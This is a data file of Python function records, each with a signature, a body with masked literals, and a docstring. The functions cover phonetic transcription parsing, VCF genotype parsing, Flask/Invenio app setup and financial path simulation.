{"signature": "def _parse_genotype(self, vcf_fields):", "body": "format_col = vcf_fields[<NUM_LIT:8>].split('<STR_LIT::>')<EOL>genome_data = vcf_fields[<NUM_LIT:9>].split('<STR_LIT::>')<EOL>try:<EOL><INDENT>gt_idx = format_col.index('<STR_LIT>')<EOL><DEDENT>except ValueError:<EOL><INDENT>return []<EOL><DEDENT>return [int(x) for x in re.split(r'<STR_LIT>', genome_data[gt_idx]) if<EOL>x != '<STR_LIT:.>']<EOL>", "docstring": "Parse genotype from VCF line data", "id": "f10423:c0:m2"}
{"signature": "def itertable(table):", "body": "for item in table:<EOL><INDENT>res = {<EOL>k.lower(): nfd(v) if isinstance(v, text_type) else v for k, v in item.items()}<EOL>for extra in res.pop('<STR_LIT>', []):<EOL><INDENT>k, _, v = extra.partition('<STR_LIT::>')<EOL>res[k.strip()] = v.strip()<EOL><DEDENT>yield res<EOL><DEDENT>", "docstring": "Auxiliary function for iterating over a data table.", "id": "f10437:m3"}
{"signature": "def __getitem__(self, sound):", "body": "return self.resolve_sound(sound)<EOL>", "docstring": "Return a Sound instance matching the specification.", "id": "f10437:c0:m2"}
{"signature": "@command()<EOL>def _make_package(args):  ", "body": "from lingpy.sequence.sound_classes import token2class<EOL>from lingpy.data import Model<EOL>columns = ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']<EOL>bipa = TranscriptionSystem('<STR_LIT>')<EOL>for src, rows in args.repos.iter_sources(type='<STR_LIT>'):<EOL><INDENT>args.log.info('<STR_LIT>'.format(src['<STR_LIT>']))<EOL>uritemplate = URITemplate(src['<STR_LIT>']) if src['<STR_LIT>'] else None<EOL>out = [['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>'] + columns]<EOL>graphemes = set()<EOL>for row in rows:<EOL><INDENT>if row['<STR_LIT>'] in graphemes:<EOL><INDENT>args.log.warn('<STR_LIT>'.format(row['<STR_LIT>']))<EOL>continue<EOL><DEDENT>graphemes.add(row['<STR_LIT>'])<EOL>if not row['<STR_LIT>']:<EOL><INDENT>bipa_sound = bipa[row['<STR_LIT>']]<EOL>explicit = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>bipa_sound = bipa[row['<STR_LIT>']]<EOL>explicit = '<STR_LIT:+>'<EOL><DEDENT>generated = '<STR_LIT:+>' if bipa_sound.generated else '<STR_LIT>'<EOL>if is_valid_sound(bipa_sound, bipa):<EOL><INDENT>bipa_grapheme = bipa_sound.s<EOL>bipa_name = bipa_sound.name<EOL><DEDENT>else:<EOL><INDENT>bipa_grapheme, bipa_name = '<STR_LIT>', '<STR_LIT>'<EOL><DEDENT>url = uritemplate.expand(**row) if uritemplate else row.get('<STR_LIT>', '<STR_LIT>')<EOL>out.append(<EOL>[bipa_grapheme, bipa_name, generated, explicit, row['<STR_LIT>'],<EOL>url] + [<EOL>row.get(c, '<STR_LIT>') for c in columns])<EOL><DEDENT>found = len([o for o in out if o[<NUM_LIT:0>] != '<STR_LIT>'])<EOL>args.log.info('<STR_LIT>'.format(<EOL>found, len(out), found / len(out) * <NUM_LIT:100>))<EOL>with UnicodeWriter(<EOL>pkg_path('<STR_LIT>', '<STR_LIT>'.format(src['<STR_LIT>'])), delimiter='<STR_LIT:\\t>'<EOL>) as writer:<EOL><INDENT>writer.writerows(out)<EOL><DEDENT><DEDENT>count = <NUM_LIT:0><EOL>with UnicodeWriter(pkg_path('<STR_LIT>', '<STR_LIT>'), delimiter='<STR_LIT:\\t>') as writer:<EOL><INDENT>writer.writerow(['<STR_LIT>', '<STR_LIT>'] + SOUNDCLASS_SYSTEMS)<EOL>for grapheme, sound in sorted(bipa.sounds.items()):<EOL><INDENT>if not sound.alias:<EOL><INDENT>writer.writerow(<EOL>[sound.name, grapheme] + [token2class(<EOL>grapheme, Model(cls)) for cls in SOUNDCLASS_SYSTEMS])<EOL>count += <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT>args.log.info('<STR_LIT>'.format(count))<EOL>", "docstring": "Prepare transcriptiondata from the transcription sources.", "id": "f10438:m1"}
{"signature": "def resolve_sound(self, sound):", "body": "sound = sound if isinstance(sound, Sound) else self.system[sound]<EOL>if sound.name in self.data:<EOL><INDENT>return '<STR_LIT>'.join([x['<STR_LIT>'] for x in self.data[sound.name]])<EOL><DEDENT>raise KeyError(\"<STR_LIT>\")<EOL>", "docstring": "Function tries to identify a sound in the data.\n\n        Notes\n        -----\n        The function tries to resolve sounds to take a sound with less complex\n        features in order to yield the next approximate sound class, if the\n        transcription data are sound classes.", "id": "f10439:c0:m1"}
{"signature": "def __init__(self, id_):", "body": "if hasattr(self, '<STR_LIT>'):<EOL><INDENT>return<EOL><DEDENT>assert id_<EOL>system = pkg_path('<STR_LIT>', id_)<EOL>if not (system.exists() and system.is_dir()):<EOL><INDENT>raise ValueError('<STR_LIT>'.format(id_))<EOL><DEDENT>self.system = TableGroup.from_file(<EOL>pkg_path('<STR_LIT>', '<STR_LIT>'))<EOL>self.system._fname = system / '<STR_LIT>'<EOL>self.features = {'<STR_LIT>': {}, '<STR_LIT>': {}, '<STR_LIT>': {}}<EOL>self._feature_values = {}<EOL>features = jsonlib.load(pkg_path('<STR_LIT>', '<STR_LIT>'))<EOL>self.diacritics = dict(<EOL>consonant={}, vowel={}, click={}, diphthong={}, tone={}, cluster={})<EOL>for dia in itertable(self.system.tabledict['<STR_LIT>']):<EOL><INDENT>if not dia['<STR_LIT>'] and not dia['<STR_LIT>']:<EOL><INDENT>self.features[dia['<STR_LIT:type>']][dia['<STR_LIT:value>']] = dia['<STR_LIT>']<EOL><DEDENT>self._feature_values[dia['<STR_LIT:value>']] = dia['<STR_LIT>']<EOL>self.diacritics[dia['<STR_LIT:type>']][dia['<STR_LIT>']] = dia['<STR_LIT:value>']<EOL><DEDENT>self.sound_classes = {}<EOL>self.columns = {}  <EOL>self.sounds = {}  <EOL>self._covered = {}<EOL>aliases = []<EOL>for cls in [Consonant, Vowel, Tone, Marker]:  <EOL><INDENT>type_ = cls.__name__.lower()<EOL>self.sound_classes[type_] = cls<EOL>self.columns[type_] = [<EOL>c['<STR_LIT:name>'].lower() for c in<EOL>self.system.tabledict['<STR_LIT>'.format(type_)]<EOL>.asdict()['<STR_LIT>']['<STR_LIT>']]<EOL>for l, item in enumerate(itertable(<EOL>self.system.tabledict['<STR_LIT>'.format(type_)])):<EOL><INDENT>if item['<STR_LIT>'] in self.sounds:<EOL><INDENT>raise ValueError('<STR_LIT>'.format(<EOL>type_ + '<STR_LIT>', l + <NUM_LIT:2>, item['<STR_LIT>']))<EOL><DEDENT>sound = cls(ts=self, **item)<EOL>for key, value in item.items():<EOL><INDENT>if key not in {'<STR_LIT>', '<STR_LIT>', '<STR_LIT>'} andvalue and value not in self._feature_values:<EOL><INDENT>self._feature_values[value] = key<EOL>if type_ != '<STR_LIT>' and value not in features[type_][key]:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\".format(<EOL>key, value, l + <NUM_LIT:2>))<EOL><DEDENT><DEDENT><DEDENT>self.sounds[item['<STR_LIT>']] = sound<EOL>if not sound.alias:<EOL><INDENT>if sound.featureset in self.features:<EOL><INDENT>raise ValueError('<STR_LIT>'.format(<EOL>type_ + '<STR_LIT>', l + <NUM_LIT:2>, sound.name))<EOL><DEDENT>self.features[sound.featureset] = sound<EOL><DEDENT>else:<EOL><INDENT>aliases += [(l, sound.type, sound.featureset)]<EOL><DEDENT><DEDENT><DEDENT>if [x for x in aliases if x[<NUM_LIT:2>] not in self.features]:  <EOL><INDENT>error = '<STR_LIT:U+002CU+0020>'.join(<EOL>text_type(x[<NUM_LIT:0>] + <NUM_LIT:2>) + '<STR_LIT:/>' + text_type(x[<NUM_LIT:1>])<EOL>for x in aliases if x[<NUM_LIT:2>] not in self.features)<EOL>raise ValueError(<EOL>'<STR_LIT>'.format(error))<EOL><DEDENT>self._regex = None<EOL>self._update_regex()<EOL>self._normalize = {<EOL>norm(r['<STR_LIT:source>']): norm(r['<STR_LIT:target>'])<EOL>for r in itertable(self.system.tabledict['<STR_LIT>'])}<EOL>", "docstring": ":param system: The name of a transcription system or a directory containing one.", "id": "f10441:c0:m0"}
{"signature": "def _norm(self, string):", "body": "nstring = norm(string)<EOL>if \"<STR_LIT:/>\" in string:<EOL><INDENT>s, t = string.split('<STR_LIT:/>')<EOL>nstring = t<EOL><DEDENT>return self.normalize(nstring)<EOL>", "docstring": "Extended normalization: normalize by list of norm-characers, split\n        by character \"/\".", "id": "f10441:c0:m2"}
{"signature": "def normalize(self, string):", "body": "return '<STR_LIT>'.join([self._normalize.get(x, x) for x in nfd(string)])<EOL>", "docstring": "Normalize the string according to normalization list", "id": "f10441:c0:m3"}
{"signature": "def _from_name(self, string):", "body": "components = string.split('<STR_LIT:U+0020>')<EOL>if frozenset(components) in self.features:<EOL><INDENT>return self.features[frozenset(components)]<EOL><DEDENT>rest, sound_class = components[:-<NUM_LIT:1>], components[-<NUM_LIT:1>]<EOL>if sound_class in ['<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>if string.startswith('<STR_LIT>') and '<STR_LIT>' in string:<EOL><INDENT>extension = {'<STR_LIT>': '<STR_LIT>', '<STR_LIT>': '<STR_LIT>'}[sound_class]<EOL>string_ = '<STR_LIT:U+0020>'.join(string.split('<STR_LIT:U+0020>')[<NUM_LIT:1>:-<NUM_LIT:1>])<EOL>from_, to_ = string_.split('<STR_LIT>')<EOL>v1, v2 = frozenset(from_.split('<STR_LIT:U+0020>') + [extension]), frozenset(<EOL>to_.split('<STR_LIT:U+0020>') + [extension])<EOL>if v1 in self.features and v2 in self.features:<EOL><INDENT>s1, s2 = (self.features[v1], self.features[v2])<EOL>if sound_class == '<STR_LIT>':<EOL><INDENT>return Diphthong.from_sounds(s1 + s2, s1, s2, self)  <EOL><DEDENT>else:<EOL><INDENT>return Cluster.from_sounds(s1 + s2, s1, s2, self)  <EOL><DEDENT><DEDENT>else:<EOL><INDENT>s1, s2 = self._from_name(from_ + '<STR_LIT:U+0020>' + extension), self._from_name(<EOL>to_ + '<STR_LIT:U+0020>' + extension)<EOL>if not (isinstance(<EOL>s1, UnknownSound) or isinstance(s2, UnknownSound)):  <EOL><INDENT>if sound_class == '<STR_LIT>':<EOL><INDENT>return Diphthong.from_sounds(  <EOL>s1 + s2, s1, s2, self)<EOL><DEDENT>return Cluster.from_sounds(s1 + s2, s1, s2, self)  <EOL><DEDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>if sound_class not in self.sound_classes:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>args = {self._feature_values.get(comp, '<STR_LIT:?>'): comp for comp in rest}<EOL>if '<STR_LIT:?>' in args:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>args['<STR_LIT>'] = '<STR_LIT>'<EOL>args['<STR_LIT>'] = self<EOL>sound = self.sound_classes[sound_class](**args)<EOL>if sound.featureset not in self.features:<EOL><INDENT>sound.generated = True<EOL>return sound<EOL><DEDENT>return self.features[sound.featureset]<EOL>", "docstring": "Parse a sound from its name", "id": "f10441:c0:m4"}
{"signature": "def _parse(self, string):", "body": "nstring = self._norm(string)<EOL>if nstring in self.sounds:<EOL><INDENT>sound = self.sounds[nstring]<EOL>sound.normalized = nstring != string<EOL>sound.source = string<EOL>return sound<EOL><DEDENT>match = list(self._regex.finditer(nstring))<EOL>if len(match) == <NUM_LIT:2>:<EOL><INDENT>sound1 = self._parse(nstring[:match[<NUM_LIT:1>].start()])<EOL>sound2 = self._parse(nstring[match[<NUM_LIT:1>].start():])<EOL>if '<STR_LIT>' not in (sound1.type, sound2.type) andsound1.type == sound2.type:<EOL><INDENT>if sound1.type == '<STR_LIT>':<EOL><INDENT>return Diphthong.from_sounds(  <EOL>string, sound1, sound2, self)<EOL><DEDENT>elif sound1.type == '<STR_LIT>' andsound1.manner in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>') andsound2.manner in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>return Cluster.from_sounds(  <EOL>string, sound1, sound2, self)<EOL><DEDENT><DEDENT>return UnknownSound(grapheme=nstring, source=string, ts=self)  <EOL><DEDENT>if len(match) != <NUM_LIT:1>:<EOL><INDENT>return UnknownSound(grapheme=nstring, source=string, ts=self)  <EOL><DEDENT>pre, mid, post = nstring.partition(nstring[match[<NUM_LIT:0>].start():match[<NUM_LIT:0>].end()])<EOL>base_sound = self.sounds[mid]<EOL>if isinstance(base_sound, Marker):  <EOL><INDENT>assert pre or post<EOL>return UnknownSound(grapheme=nstring, source=string, ts=self)  <EOL><DEDENT>features = attr.asdict(base_sound)<EOL>features.update(<EOL>source=string,<EOL>generated=True,<EOL>normalized=nstring != string,<EOL>base=base_sound.grapheme)<EOL>grapheme, sound = '<STR_LIT>', '<STR_LIT>'<EOL>for dia in [p + EMPTY for p in pre]:<EOL><INDENT>feature = self.diacritics[base_sound.type].get(dia, {})<EOL>if not feature:<EOL><INDENT>return UnknownSound(  <EOL>grapheme=nstring, source=string, ts=self)<EOL><DEDENT>features[self._feature_values[feature]] = feature<EOL>grapheme += dia[<NUM_LIT:0>]<EOL>sound += self.features[base_sound.type][feature][<NUM_LIT:0>]<EOL><DEDENT>grapheme += base_sound.grapheme<EOL>sound += base_sound.s<EOL>for dia in [EMPTY + p for p in post]:<EOL><INDENT>feature = self.diacritics[base_sound.type].get(dia, {})<EOL>if not feature:<EOL><INDENT>return UnknownSound(  <EOL>grapheme=nstring, source=string, ts=self)<EOL><DEDENT>features[self._feature_values[feature]] = feature<EOL>grapheme += dia[<NUM_LIT:1>]<EOL>sound += self.features[base_sound.type][feature][<NUM_LIT:1>]<EOL><DEDENT>features['<STR_LIT>'] = sound<EOL>new_sound = self.sound_classes[base_sound.type](**features)<EOL>if text_type(new_sound) != sound:<EOL><INDENT>new_sound.alias = True<EOL><DEDENT>if grapheme != sound:<EOL><INDENT>new_sound.alias = True<EOL>new_sound.grapheme = grapheme<EOL><DEDENT>return new_sound<EOL>", "docstring": "Parse a string and return its features.\n\n        :param string: A one-symbol string in NFD\n\n        Notes\n        -----\n        Strategy is rather simple: we determine the base part of a string and\n        then search left and right of this part for the additional features as\n        expressed by the diacritics. Fails if a segment has more than one basic\n        part.", "id": "f10441:c0:m5"}
{"signature": "def is_valid_sound(sound, ts):", "body": "if isinstance(sound, (Marker, UnknownSound)):<EOL><INDENT>return False<EOL><DEDENT>s1 = ts[sound.name]<EOL>s2 = ts[sound.s]<EOL>return s1.name == s2.name and s1.s == s2.s<EOL>", "docstring": "Check the consistency of a given transcription system conversino", "id": "f10442:m0"}
{"signature": "def __eq__(self, other):", "body": "return self.ts.id == other.ts.id and self.grapheme == other.grapheme<EOL>", "docstring": "In the absence of features, we consider symbols equal, if they belong to the same\nsystem and are represented by the same grapheme.", "id": "f10442:c0:m2"}
{"signature": "@property<EOL><INDENT>def uname(self):<DEDENT>", "body": "try:<EOL><INDENT>return '<STR_LIT>'.join(unicodedata.name(ss) for ss in self.__unicode__())<EOL><DEDENT>except TypeError:<EOL><INDENT>return '<STR_LIT:->'<EOL><DEDENT>except ValueError:<EOL><INDENT>return '<STR_LIT:?>'<EOL><DEDENT>", "docstring": "Return unicode name(s) for a character set.", "id": "f10442:c0:m4"}
{"signature": "@property<EOL><INDENT>def codepoints(self):<DEDENT>", "body": "return '<STR_LIT:U+0020>'.join('<STR_LIT>' + ('<STR_LIT>' + hex(ord(x))[<NUM_LIT:2>:])[-<NUM_LIT:4>:] for x in self.__unicode__())<EOL>", "docstring": "Return unicode codepoint(s) for a grapheme.", "id": "f10442:c0:m5"}
{"signature": "def __unicode__(self):", "body": "<EOL>if not self.generated:<EOL><INDENT>if not self.alias and self.grapheme in self.ts.sounds:<EOL><INDENT>return self.grapheme<EOL><DEDENT>elif self.alias and self.featureset in self.ts.features:<EOL><INDENT>return text_type(self.ts.features[self.featureset])<EOL><DEDENT>raise ValueError(<EOL>'<STR_LIT>'.format(self.grapheme))  <EOL><DEDENT>elements = [f for f in self._features() if f not in EXCLUDE_FEATURES] + [self.type]<EOL>base_str = self.base or '<STR_LIT>'<EOL>base_graphemes = []<EOL>while elements:<EOL><INDENT>base = self.ts.features.get(frozenset(elements))<EOL>if base:<EOL><INDENT>base_graphemes.append(base.grapheme)<EOL><DEDENT>elements.pop(<NUM_LIT:0>)<EOL><DEDENT>base_str = base_graphemes[-<NUM_LIT:1>] if base_graphemes else base_str or '<STR_LIT>'<EOL>base_vals = {<EOL>self.ts._feature_values[elm] for elm in<EOL>self.ts.sounds[base_str].name.split('<STR_LIT:U+0020>')[:-<NUM_LIT:1>]} ifbase_str != '<STR_LIT>' else {}<EOL>out = []<EOL>for p in self._write_order['<STR_LIT>']:<EOL><INDENT>if p not in base_vals and getattr(self, p, '<STR_LIT>') in self._features():<EOL><INDENT>out.append(<EOL>norm(self.ts.features[self.type].get(getattr(self, p, '<STR_LIT>'), '<STR_LIT>')))<EOL><DEDENT><DEDENT>out.append(base_str)<EOL>for p in self._write_order['<STR_LIT>']:<EOL><INDENT>if p not in base_vals and getattr(self, p, '<STR_LIT>') in self._features():<EOL><INDENT>out.append(<EOL>norm(self.ts.features[self.type].get(getattr(self, p, '<STR_LIT>'), '<STR_LIT>')))<EOL><DEDENT><DEDENT>return '<STR_LIT>'.join(out)<EOL>", "docstring": "Return the reference representation of the sound.\n\nNote\n----\nWe first try to return the non-alias value in our data. If this fails,\nwe create the sound based on it's feature representation.", "id": "f10442:c2:m9"}
{"signature": "@property<EOL><INDENT>def table(self):<DEDENT>", "body": "tbl = []<EOL>features = [<EOL>f for f in self._name_order if f not in self.ts.columns[self.type]]<EOL>if self.generated and self.s != self.source:<EOL><INDENT>tbl += [self.__unicode__() + '<STR_LIT>' + self.source]<EOL><DEDENT>else:<EOL><INDENT>tbl += [self.__unicode__()]<EOL><DEDENT>for name in self.ts.columns[self.type][<NUM_LIT:1>:]:<EOL><INDENT>if name != '<STR_LIT>' and name != '<STR_LIT>':<EOL><INDENT>tbl += [getattr(self, name) or '<STR_LIT>']<EOL><DEDENT>elif name == '<STR_LIT>':<EOL><INDENT>tbl += ['<STR_LIT:+>' if getattr(self, name) else '<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>bundle = []<EOL>for f in features:<EOL><INDENT>val = getattr(self, f)<EOL>if val:<EOL><INDENT>bundle += ['<STR_LIT>'.format(f, val)]<EOL><DEDENT><DEDENT>tbl += ['<STR_LIT:U+002C>'.join(bundle)]<EOL><DEDENT><DEDENT>return tbl<EOL>", "docstring": "Returns the tabular representation of the sound as given in our data", "id": "f10442:c2:m11"}
{"signature": "@property<EOL><INDENT>def table(self):<DEDENT>", "body": "return [self.grapheme, self.from_sound.name, self.to_sound.name]<EOL>", "docstring": "Overwrite the table attribute for complex sounds", "id": "f10442:c5:m3"}
{"signature": "def resolve_sound(self, sound):", "body": "sound = sound if isinstance(sound, Symbol) else self.system[sound]<EOL>if sound.name in self.data:<EOL><INDENT>return self.data[sound.name]['<STR_LIT>']<EOL><DEDENT>if not sound.type == '<STR_LIT>':<EOL><INDENT>if sound.type in ['<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>return self.resolve_sound(sound.from_sound)<EOL><DEDENT>name = [<EOL>s for s in sound.name.split('<STR_LIT:U+0020>') if<EOL>self.system._feature_values.get(s, '<STR_LIT>') not in<EOL>['<STR_LIT>', '<STR_LIT>', '<STR_LIT>']]<EOL>while len(name) >= <NUM_LIT:4>:<EOL><INDENT>sound = self.system.get('<STR_LIT:U+0020>'.join(name))<EOL>if sound and sound.name in self.data:<EOL><INDENT>return self.resolve_sound(sound)<EOL><DEDENT>name.pop(<NUM_LIT:0>)<EOL><DEDENT><DEDENT>raise KeyError(\"<STR_LIT>\")<EOL>", "docstring": "Function tries to identify a sound in the data.\n\n        Notes\n        -----\n        The function tries to resolve sounds to take a sound with less complex\n        features in order to yield the next approximate sound class, if the\n        transcription data are sound classes.", "id": "f10444:c0:m1"}
{"signature": "def _normalize_csp_header(header):", "body": "return {p.strip() for p in (header or '<STR_LIT>').split('<STR_LIT:;>')}<EOL>", "docstring": "Normalize a CSP header for consistent comparisons.", "id": "f10450:m2"}
{"signature": "def __init__(self, app=None, **kwargs):", "body": "self.limiter = None<EOL>self.talisman = None<EOL>if app:<EOL><INDENT>self.init_app(app, **kwargs)<EOL><DEDENT>", "docstring": "r\"\"\"Extension initialization.\n\n        :param app: An instance of :class:`~flask.Flask`.\n        :param \\**kwargs: Keyword arguments are passed to ``init_app`` method.", "id": "f10457:c0:m0"}
{"signature": "def init_app(self, app, **kwargs):", "body": "<EOL>self.init_config(app)<EOL>self.limiter = Limiter(app, key_func=get_ipaddr)<EOL>if app.config['<STR_LIT>']:<EOL><INDENT>self.talisman = Talisman(<EOL>app, **app.config.get('<STR_LIT>', {})<EOL>)<EOL><DEDENT>if app.config['<STR_LIT>']:<EOL><INDENT>blueprint = Blueprint('<STR_LIT>', __name__)<EOL>@blueprint.route('<STR_LIT>')<EOL>def ping():<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>return '<STR_LIT:OK>'<EOL><DEDENT>ping.talisman_view_options = {'<STR_LIT>': False}<EOL>app.register_blueprint(blueprint)<EOL><DEDENT>requestid_header = app.config.get('<STR_LIT>')<EOL>if requestid_header:<EOL><INDENT>@app.before_request<EOL>def set_request_id():<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>request_id = request.headers.get(requestid_header)<EOL>if request_id:<EOL><INDENT>g.request_id = request_id[:<NUM_LIT:200>]<EOL><DEDENT><DEDENT><DEDENT>try:<EOL><INDENT>from flask_debugtoolbar import DebugToolbarExtension<EOL>app.extensions['<STR_LIT>'] = DebugToolbarExtension(app)<EOL><DEDENT>except ImportError:<EOL><INDENT>app.logger.debug('<STR_LIT>')<EOL><DEDENT>app.extensions['<STR_LIT>'] = self<EOL>", "docstring": "Initialize application object.\n\n        :param app: An instance of :class:`~flask.Flask`.", "id": "f10457:c0:m1"}
{"signature": "def init_config(self, app):", "body": "config_apps = ['<STR_LIT>', '<STR_LIT>']<EOL>flask_talisman_debug_mode = [\"<STR_LIT>\"]<EOL>for k in dir(config):<EOL><INDENT>if any([k.startswith(prefix) for prefix in config_apps]):<EOL><INDENT>app.config.setdefault(k, getattr(config, k))<EOL><DEDENT><DEDENT>if app.config['<STR_LIT>']:<EOL><INDENT>app.config.setdefault('<STR_LIT>', {})<EOL>headers = app.config['<STR_LIT>']<EOL>if headers.get('<STR_LIT>') != {}:<EOL><INDENT>headers.setdefault('<STR_LIT>', {})<EOL>csp = headers['<STR_LIT>']<EOL>if csp.get('<STR_LIT>') != []:<EOL><INDENT>csp.setdefault('<STR_LIT>', [])<EOL>csp['<STR_LIT>'] += flask_talisman_debug_mode<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Initialize configuration.\n\n        :param app: An instance of :class:`~flask.Flask`.", "id": "f10457:c0:m2"}
{"signature": "@property<EOL><INDENT>def trusted_hosts(self):<DEDENT>", "body": "if current_app:<EOL><INDENT>return current_app.config.get('<STR_LIT>', None)<EOL><DEDENT>", "docstring": "Get list of trusted hosts.", "id": "f10461:c0:m0"}
{"signature": "def config_loader(app, **kwargs_config):", "body": "<EOL>local_templates_path = os.path.join(app.instance_path, '<STR_LIT>')<EOL>if os.path.exists(local_templates_path):<EOL><INDENT>app.jinja_loader = ChoiceLoader([<EOL>FileSystemLoader(local_templates_path),<EOL>app.jinja_loader,<EOL>])<EOL><DEDENT>app.jinja_options = dict(<EOL>app.jinja_options,<EOL>cache_size=<NUM_LIT:1000>,<EOL>bytecode_cache=BytecodeCache(app)<EOL>)<EOL>invenio_config_loader(app, **kwargs_config)<EOL>", "docstring": "Configuration loader.\n\n    Adds support for loading templates from the Flask application's instance\n    folder (``<instance_folder>/templates``).", "id": "f10462:m0"}
{"signature": "def app_class():", "body": "try:<EOL><INDENT>pkg_resources.get_distribution('<STR_LIT>')<EOL>from invenio_files_rest.app import Flask as FlaskBase<EOL><DEDENT>except pkg_resources.DistributionNotFound:<EOL><INDENT>from flask import Flask as FlaskBase<EOL><DEDENT>class Request(TrustedHostsMixin, FlaskBase.request_class):<EOL><INDENT>pass<EOL><DEDENT>class Flask(FlaskBase):<EOL><INDENT>request_class = Request<EOL><DEDENT>return Flask<EOL>", "docstring": "Create Flask application class.\n\n    Invenio-Files-REST needs to patch the Werkzeug form parsing in order to\n    support streaming large file uploads. This is done by subclassing the Flask\n    application class.", "id": "f10462:m1"}
{"signature": "def lower(option,value):", "body": "if type(option) is str:<EOL><INDENT>option=option.lower()<EOL><DEDENT>if type(value) is str:<EOL><INDENT>value=value.lower()<EOL><DEDENT>return (option,value)<EOL>", "docstring": "Enforces lower case options and option values where appropriate", "id": "f10465:m0"}
{"signature": "def to_string(option,value):", "body": "try:<EOL><INDENT>value=value.__str__()<EOL><DEDENT>except AttributeError:<EOL><INDENT>pass<EOL><DEDENT>return (option,value)<EOL>", "docstring": "Converts any values to strings when appropriate", "id": "f10465:m1"}
{"signature": "def to_float(option,value):", "body": "if type(value) is str:<EOL><INDENT>try:<EOL><INDENT>value=float(value)<EOL><DEDENT>except ValueError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>return (option,value)<EOL>", "docstring": "Converts string values to floats when appropriate", "id": "f10465:m2"}
{"signature": "def to_bool(option,value):", "body": "if type(value) is str:<EOL><INDENT>if value.lower() == '<STR_LIT:true>':<EOL><INDENT>value=True<EOL><DEDENT>elif value.lower() == '<STR_LIT:false>':<EOL><INDENT>value=False<EOL><DEDENT><DEDENT>return (option,value)<EOL>", "docstring": "Converts string values to booleans when appropriate", "id": "f10465:m3"}
{"signature": "def __init__(self,config=None,rules=None):", "body": "self._rules = rules or []<EOL>self._dict = config or {}<EOL>self.enforce_rules()<EOL>", "docstring": ":param config: Old configuration\n:type config: behaving like dict or Config", "id": "f10465:c0:m0"}
{"signature": "def set_defaults(self,defaults):", "body": "self._set_defaults(self,defaults)<EOL>", "docstring": "Set options but only if they haven't already been defined\n\n:param defaults: Options and values to be set\n:type defaults: behaving like _dict or Config", "id": "f10465:c0:m12"}
{"signature": "def fork(self,name):", "body": "fork=deepcopy(self)<EOL>self[name]=fork<EOL>return fork<EOL>", "docstring": "Create fork and store it in current instance", "id": "f10465:c0:m14"}
{"signature": "def sub_config(self,name):", "body": "sub = Config()<EOL>self[name]=sub<EOL>return sub<EOL>", "docstring": "Return empty Config object and store this object in current Config", "id": "f10465:c0:m15"}
{"signature": "def black_scholes(times,r,sigma,S0,d,M,dW=None):", "body": "N=len(times)<EOL>times = times.flatten()<EOL>p0 = np.log(S0)<EOL>if dW is None:<EOL><INDENT>dW=np.sqrt(times[<NUM_LIT:1>:]-times[:-<NUM_LIT:1>])[None,:,None]*np.random.normal(size=(M,N-<NUM_LIT:1>,d))<EOL><DEDENT>if np.squeeze(sigma).ndim<=<NUM_LIT:1>:<EOL><INDENT>dF = sigma*dW<EOL>ito_correction = np.squeeze(sigma**<NUM_LIT:2>/<NUM_LIT:2>)<EOL><DEDENT>else:<EOL><INDENT>dF = np.einsum('<STR_LIT>',sigma,dW)<EOL>ito_correction = np.sum(sigma**<NUM_LIT:2>,<NUM_LIT:1>)/<NUM_LIT:2><EOL><DEDENT>drift  = (r-ito_correction)*times[None,:,None]<EOL>diffusion = integral(dF=dF,axis=<NUM_LIT:1>,cumulative = True)<EOL>return np.exp(p0 + drift + diffusion)<EOL>", "docstring": "Return M Euler-Maruyama sample paths with N time steps of S_t, where \n    dS_t = S_t*r*dt+S_t*sigma*dW_t\n    S(0)=S0\n\n:rtype: M x N x d array", "id": "f10466:m0"}
{"signature": "def heston(times,mu,rho,kappa,theta,xi,S0,nu0,d,M,nu_1d=True):", "body": "d_nu = <NUM_LIT:1> if nu_1d else d<EOL>nu = np.zeros((M,len(times),d_nu))<EOL>S = np.zeros((M,len(times),d))<EOL>nu[:,<NUM_LIT:0>,:] = nu0<EOL>S[:,<NUM_LIT:0>,:] = S0<EOL>if <NUM_LIT:2>*kappa*theta<=xi**<NUM_LIT:2>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>test = np.std(np.diff(times.flatten())) <EOL>if test><NUM_LIT>:<EOL><INDENT>raise ValueError<EOL><DEDENT>dt = times[<NUM_LIT:1>]-times[<NUM_LIT:0>]<EOL>N = len(times)<EOL>if d == <NUM_LIT:1>:<EOL><INDENT>if np.array(rho).size ==<NUM_LIT:1>:<EOL><INDENT>rho = np.array([[<NUM_LIT:1>,rho],[rho,<NUM_LIT:1>]])<EOL><DEDENT><DEDENT>chol = np.linalg.cholesky(rho)<EOL>dW = np.sqrt(dt)*np.einsum('<STR_LIT>',chol,np.random.normal(size=(M,N-<NUM_LIT:1>,d+d_nu)))<EOL>for i in range(<NUM_LIT:1>,N):<EOL><INDENT>dt = times[i]-times[i-<NUM_LIT:1>]<EOL>nu[:,i,:] = np.abs(nu[:,i-<NUM_LIT:1>,:] + kappa*(theta-nu[:,i-<NUM_LIT:1>,:])*dt+xi*np.sqrt(nu[:,i-<NUM_LIT:1>,:])*dW[:,i-<NUM_LIT:1>,d:])<EOL><DEDENT>S = S0*np.exp(integral(np.sqrt(nu),dF = dW[:,:,:d],axis=<NUM_LIT:1>,cumulative = True)+integral(mu - <NUM_LIT:0.5>*nu,F = times,axis=<NUM_LIT:1>,trapez=False,cumulative = True))<EOL>return 